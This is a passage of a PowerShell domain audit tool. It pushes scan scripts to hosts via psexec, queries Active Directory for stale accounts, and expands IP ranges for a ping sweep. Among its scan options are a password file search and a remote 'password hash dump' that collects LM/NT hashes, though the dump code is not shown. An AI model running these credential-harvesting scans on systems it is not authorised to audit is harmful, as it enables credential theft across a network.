CreateTempDir 904 | $Script:ScanTime = $((get-date).tostring("HHmmss")) 905 | Write-Host 906 | $script:ActiveComputers = @(GetActiveComputers $TRUE) 907 | } 908 | "cls"{Clear-Host} 909 | "exit"{ExitFunction} 910 | "x"{ExitFunction} 911 | "home"{} #Already at the prompt. Don't do anything 912 | "h"{} 913 | default{Help} 914 | } 915 | } 916 | 917 | Function ExitFunction 918 | { 919 | $scan.mtx = $null 920 | $scan.Creds = $null 921 | 922 | #Reset colors, clear screen and exit 923 | [Console]::BackgroundColor = $BackgroundColor 924 | [Console]::ForegroundColor = $ForegroundColor 925 | Clear-Host 926 | Release-Ref 927 | exit 0 928 | } 929 | 930 | Function ReturnFunction 931 | { 932 | param($UserInput) 933 | 934 | switch($UserInput) 935 | { 936 | "x"{exitfunction} 937 | "exit"{exitfunction} 938 | "h"{Return $True} 939 | "home"{Return $True} 940 | } 941 | } 942 | 943 | ############################################ 944 | # END Menu Functions 945 | ############################################ 946 | 947 | 948 | ############################################ 949 | # START Scan Functions 950 | ############################################ 951 | 952 | #Set all variables to to used for each scan 953 | Function SetScanTypeVars 954 | { 955 | 956 | param($Selection) #scan choice 957 | (get-Date).ToString() 958 | switch ($Selection) 959 | { 960 | 1{ 961 | $Script:Deploy = $true #means this is will copy over a script to be executed with psexec 962 | $Script:ScanType="user executable search" #used for printing scan status to screen 963 | $Script:outfile="UserExeSearch$script:ScanTime.csv" #file where data will be parsed into 964 | $Script:scan.RemoteDataFile = "UserExeSearch392125281" #file where data will output to on remote host 965 | $Script:scan.TimeOut = 240 #number of seconds to wait for scan to complete during collection 966 | $Script:scan.PS1Code = $UserExeSearchCode_PS1 #powershell code for windows version 6+ 967 | $Script:scan.BATCode = $UserExeSearchCode_BAT #batch script for windows version < 6 968 | $Script:csvHeader = "Host Name,Executable,Path" 969 | } 970 | 2{ 971 | $Script:Deploy = $true 972 | $Script:ScanType="USB enumeration" 973 | $Script:outfile="USB_Enumeration$script:ScanTime.csv" 974 | $Script:scan.RemoteDataFile = "USB_Enumeration392125281" 975 | $Script:scan.TimeOut = 240 976 | $Script:scan.PS1Code = $USB_EnumerationCode_PS1 977 | $Script:scan.BATCode = $USB_EnumerationCode_BAT 978 | $Script:csvHeader = "Host Name,Description,Friendly Name,Location" 979 | } 980 | 3{ 981 | $Script:Deploy = $true 982 | $Script:ScanType="auto-run disable query" 983 | $Script:outfile="AutoRunDisable$script:ScanTime.csv" 984 | $Script:scan.RemoteDataFile = "AutoRunDisable392125281" 985 | $Script:scan.TimeOut = 120 986 | $Script:scan.PS1Code = $AutoRunDisableCode_PS1 987 | $Script:scan.BATCode = $AutoRunDisableCode_BAT 988 | $Script:csvHeader = "Host Name, Disabled" 989 | } 990 | 4{ 991 | $Script:Deploy = $true 992 | $Script:ScanType="Start-up program query" 993 | $Script:outfile="StartUpPrograms$script:ScanTime.csv" 994 | $Script:scan.RemoteDataFile = "StartUpPrograms392125281" 995 | $Script:scan.TimeOut = 120 996 | $Script:scan.PS1Code = $StartUpProgramsCode_PS1 997 | $Script:scan.BATCode = $StartUpProgramsCode_BAT 998 | $Script:csvHeader = "Host Name,Command,Description,Location,User" 999 | } 1000 | 5{ 1001 | $Script:Deploy = $true 1002 | $Script:ScanType="scheduled tasks query" 1003 | $Script:outfile="ScheduledTasks$script:ScanTime.csv" 1004 | $Script:scan.RemoteDataFile = "ScheduledTasks392125281" 1005 | $Script:scan.TimeOut = 120 1006 | $Script:scan.PS1Code = $ScheduledTasksCode_PS1 1007 | $Script:scan.BATCode = $ScheduledTasksCode_BAT 1008 | $Script:csvHeader = "Host Name,Command,JobId,Name,Owner,Priority" 1009 | } 1010 | 6{ 1011 | $Script:Deploy = $true 1012 | $Script:ScanType="running processes query" 1013 | $Script:outfile="RunningProcs$script:ScanTime.csv" 1014 | $Script:scan.RemoteDataFile = "RunningProcs392125281" 1015 | $Script:scan.TimeOut = 120 1016 | $Script:scan.PS1Code = $RunningProcsCode_PS1 1017 | $Script:scan.BATCode = $RunningProcsCode_BAT 1018 | $Script:csvHeader = "Host Name,Executable Path,Name,Process ID" 1019 | } 1020 | 7{ 1021 | $Script:Deploy = $true 1022 | $Script:ScanType="driver query" 1023 | $Script:outfile="Drivers$script:ScanTime.csv" 1024 | $Script:scan.RemoteDataFile = "Drivers392125281" 1025 | $Script:scan.TimeOut = 120 1026 | $Script:scan.PS1Code = $QueryDriversCode_PS1 1027 | $Script:scan.BATCode = $QueryDriversCode_BAT 1028 | $Script:csvHeader = "Host Name,Description,DisplayName,Name,Started,State,Status" 1029 | } 1030 | 8{ 1031 | $Script:Deploy = $true 1032 | $Script:ScanType="service query" 1033 | $Script:outfile="Services$script:ScanTime.csv" 1034 | $Script:scan.RemoteDataFile = "Services392125281" 1035 | $Script:scan.TimeOut = 120 1036 | $Script:scan.PS1Code = $QueryServicesCode_PS1 1037 | $Script:scan.BATCode = $QueryServicesCode_BAT 1038 | $Script:csvHeader = "Host Name,Name,StartMode,State,Status" 1039 | } 1040 | 9{ 1041 | $Script:Deploy = $true 1042 | $Script:ScanType="network connections query" 1043 | $Script:outfile="NetStat$script:ScanTime.csv" 1044 | $Script:scan.RemoteDataFile = "Netstat392125281" 1045 | $Script:scan.TimeOut = 600 1046 | $Script:scan.PS1Code = $NetstatCode_PS1 1047 | $Script:scan.BATCode = $NetstatCode_BAT 1048 | $Script:csvHeader = "Host Name,Source IP,Source Port,Destination IP,Destination Port,State,Process Name,Process ID" 1049 | } 1050 | 10{ 1051 | $Script:Deploy = $true 1052 | $Script:ScanType="installed software query" 1053 | $Script:outfile="Software$script:ScanTime.csv" 1054 | $Script:scan.RemoteDataFile = "InstalledSoftware392125281" 1055 | $Script:scan.TimeOut = 240 1056 | $Script:scan.PS1Code = $InstalledSoftwareCode_PS1 1057 | $Script:scan.BATCode = $InstalledSoftwareCode_BAT 1058 | $Script:csvHeader = "Host Name,InstallDate,InstallLocation,Name,Vendor,Version" 1059 | } 1060 | 11{ 1061 | $Script:Deploy = $true 1062 | $Script:ScanType="network shares query" 1063 | $Script:outfile="NetworkShares$script:ScanTime.csv" 1064 | $Script:scan.RemoteDataFile = "NetworkShares392125281" 1065 | $Script:scan.TimeOut = 120 1066 | $Script:scan.PS1Code = $SharesCode_PS1 1067 | $Script:scan.BATCode = $SharesCode_BAT 1068 | $Script:csvHeader = "Host Name,Description,Name,Path" 1069 | } 1070 | 12{ 1071 | $Script:Deploy = $false 1072 | $Script:outfile="NetworkSharePermissions$script:ScanTime.csv" 1073 | NetworkSharePermissions} 1074 | 13{ 1075 | #!!!!!!!This check does not work on servers. Check servers manually!!!!!! 1076 | $Script:Deploy = $true 1077 | $Script:ScanType="antivirus status checks" 1078 | $Script:outfile="AntivirusStatus$script:ScanTime.csv" 1079 | $Script:scan.RemoteDataFile = "AntivirusStatus392125281" 1080 | $Script:scan.TimeOut = 120 1081 | $Script:scan.PS1Code = $AntivirusStatusCode_PS1 1082 | $Script:scan.BATCode = $AntivirusStatusCode_BAT 1083 | $Script:csvHeader = "Host Name,Display Name,Enabled,UptoDate,Version" 1084 | } 1085 | 14{ 1086 | $Script:Deploy = $true 1087 | $Script:ScanType="local account enumeration" 1088 | $Script:outfile="LocalAccounts$script:ScanTime.csv" 1089 | $Script:scan.RemoteDataFile = "LocalAccounts392125281" 1090 | $Script:scan.TimeOut = 900 1091 | $Script:scan.PS1Code = $LocalAccountsCode_PS1 1092 | $Script:scan.BATCode = $LocalAccountsCode_BAT 1093 | $Script:csvHeader = "Host Name,Account Name,Account Active,Last Logon" 1094 | } 1095 | 15{ 1096 | $Script:Deploy = $false 1097 | $Script:ScanType="user account compliance query" 1098 | $Script:outfile="DomainAccounts$script:ScanTime.csv" 1099 | $scan.DomainName = $DistinguishedName 1100 | if($scan.DomainName) 1101 | { 1102 | Write-Host $(get-Date) 1103 | DomainAccounts 1104 | } 1105 | else 1106 | { 1107 | Write-Host -ForegroundColor Red "No domain available" 1108 | }} 1109 | 16{ 1110 | $Script:Deploy = $true 1111 | $Script:ScanType="hot-fix enumeration" 1112 | $Script:outfile="HotFixInfo$script:ScanTime.csv" 1113 | $Script:scan.RemoteDataFile = "HotFixData392125281" 1114 | $Script:scan.TimeOut = 240 1115 | $Script:scan.PS1Code = $HotFixCode_PS1 1116 | $Script:scan.BATCode = $HotFixCode_BAT 1117 | $Script:csvHeader = "Host Name,Description,HotFixID,InstalledBy,InstalledOn" 1118 | } 1119 | 101{ 1120 | $Script:Deploy = $true 1121 | $Script:ScanType="image file search" 1122 | $Script:outfile="ImageFileSearch$script:ScanTime.csv" 1123 | $Script:scan.RemoteDataFile = "ImageFileSearch392125281" 1124 | $Script:scan.TimeOut = 1800 1125 | $Script:scan.PS1Code = $ImageSearchCode_PS1 1126 | $Script:scan.BATCode = $ImageSearchCode_BAT 1127 | $Script:csvHeader = "Host Name,File Name,Path" 1128 | } 1129 | 102{ 1130 | $Script:Deploy = $true 1131 | $Script:ScanType="audio file search" 1132 | $Script:outfile="AudioFileSearch$script:ScanTime.csv" 1133 | $Script:scan.RemoteDataFile = "AudioFileSearch392125281" 1134 | $Script:scan.TimeOut = 1800 1135 | $Script:scan.PS1Code = $AudioSearchCode_PS1 1136 | $Script:scan.BATCode = $AudioSearchCode_BAT 1137 | $Script:csvHeader = "Host Name,File Name,Path" 1138 | } 1139 | 103{ 1140 | $Script:Deploy = $true 1141 | $Script:ScanType="video file search" 1142 | $Script:outfile="VideoFileSearch$script:ScanTime.csv" 1143 | $Script:scan.RemoteDataFile = "VideoFileSearch392125281" 1144 | $Script:scan.TimeOut = 1800 1145 | $Script:scan.PS1Code = $VideoSearchCode_PS1 1146 | $Script:scan.BATCode = $VideoSearchCode_BAT 1147 | $Script:csvHeader = "Host Name,File Name,Path" 1148 | } 1149 | 104{ 1150 | $Script:Deploy = $true 1151 | $Script:ScanType="script file search" 1152 | $Script:outfile="ScriptFileSearch$script:ScanTime.csv" 1153 | $Script:scan.RemoteDataFile = "ScriptFileSearch392125281" 1154 | $Script:scan.TimeOut = 1800 1155 | $Script:scan.PS1Code = $ScriptSearchCode_PS1 1156 | $Script:scan.BATCode = $ScriptSearchCode_BAT 1157 | $Script:csvHeader = "Host Name,File Name,Path" 1158 | } 1159 | 105{ 1160 | $Script:Deploy = $true 1161 | $Script:ScanType="executable file search" 1162 | $Script:outfile="ExecutableFileSearch$script:ScanTime.csv" 1163 | $Script:scan.RemoteDataFile = "ExecutableFileSearch392125281" 1164 | $Script:scan.TimeOut = 1800 1165 | $Script:scan.PS1Code = $ExecutableSearchCode_PS1 1166 | $Script:scan.BATCode = $ExecutableSearchCode_BAT 1167 | $Script:csvHeader = "Host Name,File Name,Path" 1168 | } 1169 | 106{ 1170 | $Script:Deploy = $true 1171 | $Script:ScanType="Outlook data file search" 1172 | $Script:outfile="DataFileSearch$script:ScanTime.csv" 1173 | $Script:scan.RemoteDataFile = "DataFileSearch392125281" 1174 | $Script:scan.TimeOut = 1800 1175 | $Script:scan.PS1Code = $DataFileSearchCode_PS1 1176 | $Script:scan.BATCode = $DataFileSearchCode_BAT 1177 | $Script:csvHeader = "Host Name,File Name,Path" 1178 | } 1179 | 107{ 1180 | $Script:Deploy = $true 1181 | $Script:ScanType="password file search" 1182 | $Script:outfile="PasswordFileSearch$script:ScanTime.csv" 1183 | $Script:scan.RemoteDataFile = "PasswordFileSearch392125281" 1184 | $Script:scan.TimeOut = 1800 1185 | $Script:scan.PS1Code = $PasswordSearchCode_PS1 1186 | $Script:scan.BATCode = $PasswordSearchCode_BAT 1187 | $Script:csvHeader = "Host Name,File Name,Path" 1188 | } 1189 | 110{ 1190 | $Script:Deploy = $true 1191 | $Script:ScanType="password hash dump" 1192 | $Script:outfile="HashDump$script:ScanTime.csv" 1193 | $Script:scan.RemoteDataFile = "HashDump392125281" 1194 | $Script:scan.TimeOut = 180 1195 | $Script:scan.PS1Code = $PowerDump 1196 | $Script:csvHeader = "Host Name,User,RID,LM Hash,NT Hash" 1197 | } 1198 | 111{ 1199 | $Script:Deploy = $true 1200 | $Script:ScanType="file hasher" 1201 | $Script:outfile="FileHashes$script:ScanTime.csv" 1202 | $Script:scan.RemoteDataFile = "hashes392125281" 1203 | $Script:scan.TimeOut = 2700 1204 | $Script:scan.PS1Code = $FileHasher 1205 | $Script:csvHeader = "Host Name,File Name,Path,MD5 Hash" 1206 | } 1207 | 1208 | 1209 | "h"{return} 1210 | "home"{return} 1211 | "x"{ExitFunction} 1212 | "exit"{ExitFunction} 1213 | 1214 | default{ 1215 | Write-Host -ForegroundColor Red " Invalid Choice: $Selection 1216 | " 1217 | Return $false 1218 | } 1219 | } 1220 | Return $true 1221 | } 1222 | 1223 | #Parse through AD search results and return the logon name 1224 | Function GetResults 1225 | { 1226 | param($results) 1227 | 1228 | Foreach($result in $results) 1229 | { 1230 | if($result.properties.item("lastLogon") -ne 0) 1231 | { 1232 | $LastLogon = [datetime]::FromFileTime([int64]::Parse($result.properties.item("lastLogon"))) 1233 | } 1234 | else 1235 | { 1236 | $LastLogon = $null 1237 | } 1238 | $Locked = $($result.properties.item("lockouttime")) 1239 | $UAC = $($result.properties.item("useraccountcontrol")) 1240 | $result.properties.item("memberof")| %{ 1241 | if(-not $MemberOf) 1242 | { 1243 | $MemberOf = $_.Split(',')[0].Replace('CN=','') 1244 | } 1245 | else 1246 | { 1247 | $MemberOf = $MemberOf + "; " + $_.Split(',')[0].Replace('CN=','') 1248 | } 1249 | } 1250 | if($Locked){$status = 'Locked'} 1251 | elseif($UAC -band 0x0002){$status = 'Disabled'} 1252 | else{$status = 'Active'} 1253 | $Account = $($result.properties.item("SAMAccountName")) 1254 | "$Account,$status,$LastLogon,$MemberOf" 1255 | $MemberOf = $null 1256 | } 1257 | } 1258 | 1259 | #Convert Date values into time ticks 1260 | Function ConvertDate 1261 | { 1262 | param($Day) 1263 | 1264 | #Convert to datetime. 1265 | $Date = [DateTime]"$Day" 1266 | 1267 | # Correct for daylight savings. 1268 | If ($Date.IsDaylightSavingTime) 1269 | { 1270 | $Date = $Date.AddHours(-1) 1271 | } 1272 | 1273 | # Convert the datetime value, in UTC, into the number of ticks since 1274 | # 12:00 AM January 1, 1601. 1275 | $Value = ($Date.ToUniversalTime()).Ticks - ([DateTime]"January 1, 1601").Ticks 1276 | return $Value 1277 | } 1278 | 1279 | #get stale and non-compliant accounts 1280 | Function DomainAccounts 1281 | { 1282 | Write-Host -ForegroundColor Yellow "Collecting active directory user account data." 1283 | 1284 | $NoCLOFile = "$TEMP_DIR\NoPassExpOrCLO$script:ScanTime.csv" 1285 | $Stale45File = "$TEMP_DIR\45DaysStale$script:ScanTime.csv" 1286 | $Stale30File = "$TEMP_DIR\30DaysStale$script:ScanTime.csv" 1287 | 1288 | #Variables to hold dates (30 & 45 days ago) 1289 | $30Days = (get-date).adddays(-30) 1290 | $45Days = (get-date).adddays(-45) 1291 | 1292 | #Create a new object to search Active directory 1293 | #[ADSI]"" searches begining in the the root of your current domain 1294 | #you can change where your search starts by specifying the AD location 1295 | #example: [ADSI]"LDAP://OU=Users and Computers,DC=foo,DC=bar,DC=com" 1296 | $Search = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$DistinguishedName") 1297 | $Search.PageSize = 1000 1298 | 1299 | #Accounts with no password expiration and no CLO enforced 1300 | $Search.filter = "(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=65536)(!(userAccountControl:1.2.840.113556.1.4.803:=262144)))" 1301 | "Account Name,Status,Last Logon,Group Membership"|Add-content $NoCLOFile 1302 | GetResults $Search.Findall() | sort | Add-content $NoCLOFile 1303 | 1304 | #Active accounts that haven't been accessed in 30 days 1305 | $Value = ConvertDate($30Days) 1306 | $Search.filter = "(&(objectCategory=person)(lastLogon<=$Value)(!(lastLogon=0))(!(userAccountControl:1.2.840.113556.1.4.803:=2))(!(lockoutTime>=1)))" 1307 | "Account Name,Status,Last Logon,Group Membership"|Add-content $Stale30File 1308 | GetResults $Search.Findall() | sort | Add-content $Stale30File 1309 | 1310 | #Accounts not accessed in 45 days 1311 | $Value = ConvertDate($45Days) 1312 | 1313 | #UTC date for whencreated comparison 1314 | $Value2 = $45Days.ToString("yyhhmmss.0Z") 1315 | 1316 | $Search.filter = "(|(&(objectCategory=person)(lastLogon<=$Value)(!(lastLogon=0)))(&(objectCategory=person)(whenCreated<=$Value2)(|(!(lastLogon=*))(lastLogon=0))))" 1317 | "Account Name,Status,Last Logon,Group Membership"|Add-content $Stale45File 1318 | GetResults $Search.Findall() | sort | Add-content $Stale45File 1319 | 1320 | $Convert = $NoCLOFile, $Stale45File, $Stale30File 1321 | ConvertFileFormat $Convert 1322 | } 1323 | 1324 | #Return a list of windows machines on the domain 1325 | Function GetComputers 1326 | { 1327 | #Create a new object to search Active directory 1328 | #[ADSI]“" searches beginning in the the root of your current domain 1329 | #you can change where your search starts by specifying the AD location 1330 | #example: [ADSI]“LDAP://OU=Users and Computers,DC=foo,DC=bar,DC=com” 1331 | 1332 | param($HostFile) 1333 | 1334 | if(-not ($HostFile -eq "ALL")) #host names to scan provided by user 1335 | { 1336 | $Hosts = Get-Content $HostFile -ReadCount 0 1337 | RunScriptBlock $GetComputersSB $Hosts $scan | sort -Unique 1338 | } 1339 | else #grab all computers 1340 | { 1341 | $Search = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$DistinguishedName") 1342 | $Search.PageSize = 1000 #page size needed to return more than 1000 entries 1343 | $Search.filter = "(objectCategory=computer)" 1344 | Foreach($result in $Search.Findall()) 1345 | { 1346 | $result.GetDirectoryEntry()|%{ 1347 | $name=$_.name 1348 | $os=$_.OperatingSystem 1349 | $ver=$_.OperatingSystemVersion 1350 | "$name,$os,$ver" | Select-String "Windows" | Select-String -NotMatch $env:COMPUTERNAME 1351 | } 1352 | } 1353 | } 1354 | } 1355 | 1356 | Function GetActiveComputers 1357 | { 1358 | param($menuScan) 1359 | 1360 | (get-Date).ToString() | Write-Host 1361 | Write-Host -ForegroundColor Yellow "Generating list of active computers" 1362 | $ScannedHosts = "Scanned_Hosts$script:ScanTime.csv" 1363 | $Threads = $scan.Throttle #store number of threads 1364 | $scan.Throttle = $scan.Throttle * 5 #lots of network delay for absent hosts so increase thread count for runspace 1365 | if($scan.Throttle -gt 50){$scan.Throttle = 50} 1366 | $scan.DomainName = $DistinguishedName 1367 | [string[]] $Computers = GetComputers $ScanHostsFile 1368 | "Time Stamp,Host Name, Error" | Add-Content "$TEMP_DIR\ErrorLog.csv" 1369 | [string[]] $ActiveComputers = RunScriptBlock $ActiveComputers_SB $Computers $scan 1370 | $scan.Throttle = $Threads #re-set throttle 1371 | 1372 | $ActiveComputers = $ActiveComputers | Sort -Unique | Select-String -NotMatch $env:COMPUTERNAME #remove scanning machine and any duplicates 1373 | $numActOrig = $ActiveComputers.count #number of active computers returned 1374 | 1375 | #Write list of computers to file starting with column names 1376 | "Host Name,IP Address,Operating System,Version"|Add-Content "$TEMP_DIR\$ScannedHosts" 1377 | $ActiveComputers |Add-Content "$TEMP_DIR\$ScannedHosts" 1378 | $ConvertFiles = "$TEMP_DIR\ErrorLog.csv", "$TEMP_DIR\$ScannedHosts" 1379 | $Script:outfile = $ScannedHosts 1380 | if(@(get-content "$TEMP_DIR\ErrorLog.csv").count -eq 1) 1381 | { 1382 | Remove-Item "$TEMP_DIR\ErrorLog.csv" 1383 | } 1384 | If($menuScan) 1385 | { 1386 | ConvertFileFormat $ConvertFiles 1387 | } 1388 | Else 1389 | { 1390 | ConvertFileFormat $ConvertFiles $true 1391 | } 1392 | 1393 | #list of computers has been generated 1394 | $Script:FirstRunComps = $false 1395 | $numTot = $Computers.count 1396 | $numAct = $ActiveComputers.Count 1397 | if(-not ($numAct -ge 0)){$numAct = 0} 1398 | $numDif = $numActOrig - $numAct #in case there were duplicate hosts found 1399 | $numTot = $numTot - $numDif 1400 | Write-Host -ForegroundColor Yellow "$numAct/$numTot active computers found 1401 | " 1402 | #Store a timestamp for when list of computers was generated to update list after time 1403 | $script:CompsDate = Get-Date 1404 | return $ActiveComputers 1405 | } 1406 | 1407 | Function VerifyIP 1408 | { 1409 | param($IP, $CIDR) 1410 | 1411 | $Octets = $IP.split(".") 1412 | if($Octets.count -ne 4){Return $false} 1413 | 1414 | if($CIDR) 1415 | { 1416 | $CIDR = [convert]::ToInt32($CIDR, 10) 1417 | if(-not (($CIDR -ge 1) -and ($CIDR -le 32))) 1418 | { 1419 | Return $false 1420 | } 1421 | } 1422 | 1423 | for($i=0; $i -lt 4; $i++) 1424 | { 1425 | if($Octets[$i] -match "[0-9]" -and $Octets[$i] -notmatch "[a-zA-Z]") 1426 | { 1427 | $num = [convert]::ToInt32($Octets[$i], 10) 1428 | if(-not (($num -le 255) -and ($num -ge 0))) 1429 | { 1430 | Return $false 1431 | } 1432 | } 1433 | else 1434 | { 1435 | Return $false 1436 | } 1437 | } 1438 | Return $true 1439 | } 1440 | 1441 | Function Get-IPSubnet 1442 | { 1443 | 1444 | Param( 1445 | [Parameter(Mandatory = $true)] 1446 | [Array] $Subnets 1447 | ) 1448 | 1449 | foreach($subnet in $Subnets){ 1450 | 1451 | #Split IP and subnet 1452 | $IP = ($Subnet -split "\/")[0] 1453 | $CIDR = ($Subnet -split "\/")[1] 1454 | 1455 | if(-not (VerifyIP $IP $CIDR)) 1456 | { 1457 | Write-Host -ForegroundColor Red "Invalid subnet: $subnet" 1458 | Return $false 1459 | } 1460 | } 1461 | 1462 | foreach($subnet in $Subnets) 1463 | { 1464 | 1465 | #Split IP and subnet 1466 | $IP = ($Subnet -split "\/")[0] 1467 | 1468 | $SubnetBits = ($Subnet -split "\/")[1] 1469 | 1470 | #Convert IP into binary 1471 | #Split IP into different octects and for each one, figure out the binary with leading zeros and add to the total 1472 | $Octets = $IP -split "\." 1473 | $IPInBinary = @() 1474 | foreach($Octet in $Octets) 1475 | { 1476 | #convert to binary 1477 | $OctetInBinary = [convert]::ToString($Octet,2) 1478 | 1479 | #get length of binary string add leading zeros to make octet 1480 | $OctetInBinary = ("0" * (8 - ($OctetInBinary).Length) + $OctetInBinary) 1481 | 1482 | $IPInBinary = $IPInBinary + $OctetInBinary 1483 | } 1484 | $IPInBinary = $IPInBinary -join "" 1485 | 1486 | #Get network ID by subtracting subnet mask 1487 | $HostBits = 32-$SubnetBits 1488 | $NetworkIDInBinary = $IPInBinary.Substring(0,$SubnetBits) 1489 | 1490 | #Get host ID and get the first host ID by converting all 1s into 0s 1491 | $HostIDInBinary = $IPInBinary.Substring($SubnetBits,$HostBits) 1492 | $HostIDInBinary = $HostIDInBinary -replace "1","0" 1493 | 1494 | #Work out all the host IDs in that subnet by cycling through $i from 1 up to max $HostIDInBinary (i.e. 1s stringed up to $HostBits) 1495 | #Work out max $HostIDInBinary 1496 | $imax = [convert]::ToInt32(("1" * $HostBits),2) -1 1497 | 1498 | $IPs = @() 1499 | 1500 | #Next ID is first network ID converted to decimal plus $i then converted to binary 1501 | For ($i = 1 ; $i -le $imax ; $i++) 1502 | { 1503 | #Convert to decimal and add $i 1504 | $NextHostIDInDecimal = ([convert]::ToInt32($HostIDInBinary,2) + $i) 1505 | #Convert back to binary 1506 | $NextHostIDInBinary = [convert]::ToString($NextHostIDInDecimal,2) 1507 | #Add leading zeros 1508 | #Number of zeros to add 1509 | $NoOfZerosToAdd = $HostIDInBinary.Length - $NextHostIDInBinary.Length 1510 | $NextHostIDInBinary = ("0" * $NoOfZerosToAdd) + $NextHostIDInBinary 1511 | 1512 | #Work out next IP 1513 | #Add networkID to hostID 1514 | $NextIPInBinary = $NetworkIDInBinary + $NextHostIDInBinary 1515 | #Split into octets and separate by . then join 1516 | $IP = @() 1517 | For ($x = 1 ; $x -le 4 ; $x++) 1518 | { 1519 | #Work out start character position 1520 | $StartCharNumber = ($x-1)*8 1521 | #Get octet in binary 1522 | $IPOctetInBinary = $NextIPInBinary.Substring($StartCharNumber,8) 1523 | #Convert octet into decimal 1524 | $IPOctetInDecimal = [convert]::ToInt32($IPOctetInBinary,2) 1525 | #Add octet to IP 1526 | $IP += $IPOctetInDecimal 1527 | } 1528 | 1529 | #Separate by . 1530 | $IP = $IP -join "." 1531 | $IPs += $IP 1532 | } 1533 | $IPs 1534 | } 1535 | } 1536 | 1537 | Function Get-IPRange 1538 | { 1539 | 1540 | Param( 1541 | [Parameter(Mandatory = $true)] 1542 | [Array] $Ranges 1543 | ) 1544 | 1545 | $invalid=$false 1546 | 1547 | foreach($Range in $Ranges){ 1548 | 1549 | #Split IP and subnet 1550 | $StartIP = $Range.split("-")[0] 1551 | $EndIP = $Range.split("-")[1] 1552 | 1553 | if(-not (VerifyIP $StartIP)) 1554 | { 1555 | Write-Host -ForegroundColor Red "Invalid range: $Range" 1556 | Return $false 1557 | } 1558 | if(-not (VerifyIP $EndIP)) 1559 | { 1560 | Write-Host -ForegroundColor Red "Invalid range: $Range" 1561 | Return $false 1562 | } 1563 | } 1564 | 1565 | foreach($Range in $Ranges) 1566 | { 1567 | $TempIPArray = $Range.split("-") 1568 | $TempIPArray = [System.Version[]] ($TempIPArray) | Sort-Object 1569 | $StartIP = $TempIPArray[0].ToString() 1570 | $EndIP = $TempIPArray[1].ToString() 1571 | 1572 | $StartOct1 = [convert]::ToInt32($StartIP.split(".")[0], 10) 1573 | $StartOct2 = [convert]::ToInt32($StartIP.split(".")[1], 10) 1574 | $StartOct3 = [convert]::ToInt32($StartIP.split(".")[2], 10) 1575 | $StartOct4 = [convert]::ToInt32($StartIP.split(".")[3], 10) 1576 | 1577 | $EndOct1 = [convert]::ToInt32($EndIP.split(".")[0], 10) 1578 | $EndOct2 = [convert]::ToInt32($EndIP.split(".")[1], 10) 1579 | $EndOct3 = [convert]::ToInt32($EndIP.split(".")[2], 10) 1580 | $EndOct4 = [convert]::ToInt32($EndIP.split(".")[3], 10) 1581 | 1582 | for($i=0; $i -lt 4; $i++) 1583 | { 1584 | $num = [convert]::ToInt32($StartIP.split(".")[$i], 10) 1585 | if(-not (($num -le 255) -and ($num -ge 0))){ 1586 | Write-Host -ForegroundColor Red "Invalid IP range: $Range" 1587 | $invalid=$true 1588 | } 1589 | } 1590 | if($invalid){$invalid=$false; continue} 1591 | 1592 | for($i=0; $i -lt 4; $i++) 1593 | { 1594 | $num = [convert]::ToInt32($EndIP.split(".")[$i], 10) 1595 | if(-not (($num -le 255) -and ($num -ge 0))){ 1596 | Write-Host -ForegroundColor Red "Invalid IP range: $Range" 1597 | $invalid=$true 1598 | } 1599 | } 1600 | if($invalid){$invalid=$false; continue} 1601 | 1602 | for($StartOct1; $StartOct1 -le $EndOct1; $StartOct1++){ 1603 | if(-not ($StartOct1 -eq $EndOct1)){ 1604 | $TempEnd2 = 255 1605 | } 1606 | Else {$TempEnd2 = $EndOct2} 1607 | 1608 | for($StartOct2; $StartOct2 -le $TempEnd2; $StartOct2++){ 1609 | if(-not (($StartOct2 -eq $EndOct2) -and ($StartOct1 -eq $EndOct1))){ 1610 | $TempEnd3 = 255 1611 | } 1612 | Else {$TempEnd3 = $EndOct3} 1613 | 1614 | for($StartOct3; $StartOct3 -le $TempEnd3; $StartOct3++){ 1615 | if(-not (($StartOct3 -eq $EndOct3) -and ($StartOct2 -eq $EndOct2) -and ($StartOct1 -eq $EndOct1))){ 1616 | $TempEnd4 = 255 1617 | } 1618 | Else {$TempEnd4 = $EndOct4} 1619 | for($StartOct4; $StartOct4 -le $TempEnd4; $StartOct4++){ 1620 | "$StartOct1.$StartOct2.$StartOct3.$StartOct4" 1621 | } 1622 | $StartOct4=0 1623 | } 1624 | $StartOct3=0 1625 | } 1626 | $StartOct2=0 1627 | } 1628 | } 1629 | } 1630 | 1631 | Function Get-IPFile 1632 | { 1633 | 1634 | Param( 1635 | [Parameter(Mandatory = $true)] 1636 | [string] $File 1637 | ) 1638 | 1639 | [Array]$IParray = $null 1640 | $content = Get-Content $File -ReadCount 0 1641 | 1642 | foreach($IP in $content) 1643 | { 1644 | if($IP|Select-String "-") 1645 | { 1646 | $tempIP = Get-IPRange -Range $IP 1647 | if($tempIP){$IParray = $IParray + $tempIP} 1648 | } 1649 | elseif($IP|Select-String "/") 1650 | { 1651 | $tempIP = Get-IPSubnet -Subnets "$IP" 1652 | if($tempIP){$IParray = $IParray + $tempIP} 1653 | } 1654 | else 1655 | { 1656 | if(VerifyIP $IP) 1657 | { 1658 | $IParray = $IParray + $IP 1659 | } 1660 | } 1661 | } 1662 | $ipsort = [System.Version[]]($IParray) | Sort-Object 1663 | Return $ipsort 1664 | } 1665 | 1666 | Function PingSweep 1667 | { 1668 | Write-Host -ForegroundColor Green " 1669 | Ping Sweep 1670 | -----------" 1671 | while($true) 1672 | { 1673 | Write-Host "Input IPs as Subnets[1], Range[2], or file[3]: " -NoNewLine 1674 | $Choice = ReadYellow 1675 | switch($Choice) 1676 | { 1677 | 1{ 1678 | Write-Host "Enter comma separated subnets: " -NoNewLine 1679 | $Input= ReadYellow 1680 | [Array]$IPArray = $Input.split(",") 1681 | $IPList = Get-IPSubnet -Subnets $IPArray 1682 | if($IPList){ExecutePingSweep $IPList} 1683 | Return 1684 | } 1685 | 2{ 1686 | Write-Host "Enter IP range: " -NoNewLine 1687 | $Input = ReadYellow 1688 | [Array]$IPArray = $Input.split(",") 1689 | $IPList = Get-IPRange -Range $IPArray 1690 | if($IPList){ExecutePingSweep $IPList} 1691 | Return 1692 | } 1693 | 3{ 1694 | Write-Host "Enter IP file: " -NoNewLine 1695 | $Input= ReadYellow 1696 | if(-not (Test-Path $Input)) 1697 | { 1698 | Write-Host -ForegroundColor Red "File not found: $Input" 1699 | Return 1700 | } 1701 | $IPList = Get-IPFile -File $Input 1702 | 